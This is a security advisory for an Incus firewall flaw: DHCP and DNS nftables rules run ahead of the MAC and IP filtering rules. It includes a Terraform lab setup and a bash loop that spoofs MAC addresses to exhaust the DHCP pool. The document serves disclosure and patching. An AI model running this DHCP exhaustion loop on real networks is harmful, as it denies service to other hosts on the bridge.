CVE-2025-52889

### Summary When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks. ### Details In commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain: iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet: iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network. Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server: {{ if .dnsIPv4 }} {{ range .dnsIPv4 }} iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }} {{ if .dnsIPv6 }} {{ range .dnsIPv6 }} iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }} An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering. ### PoC With this terraform infrastructure: ``` resource "incus_network_acl" "acl_allow_out" { name = "acl-allow-out" egress = [ { action = "allow" destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254" state = "enabled" }, ] } resource "incus_network_acl" "acl_allow_in" { name = "acl-allow-in" ingress = [ { action = "allow" state = "enabled" }, ] } resource "incus_network" "br0" { name = "br0" config = { "ipv4.address" = "10.0.0.1/24" "ipv4.nat" = "true" } } resource "incus_instance" "machine1" { name = "machine1" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false "cloud-init.vendor-data" = <<-EOF #cloud-config package_update: true packages: - dhclient - tcpdump runcmd: - systemctl disable --now systemd.networkd.service - systemctl disable --now systemd.networkd.socket EOF } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name "security.ipv4_filtering" = true "security.acls" = join(",", [ incus_network_acl.acl_allow_out.name, incus_network_acl.acl_allow_in.name, ]) } } } resource "incus_instance" "machine2" { name = "machine2" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name } } } ``` An attacker in a VM requests many IP addresses and exhaust the pool: ```bash [MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done [HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l 254 [HOST]$ incus start machine2 ``` At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease. ### Impact All versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.

Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks in github.com/lxc/incus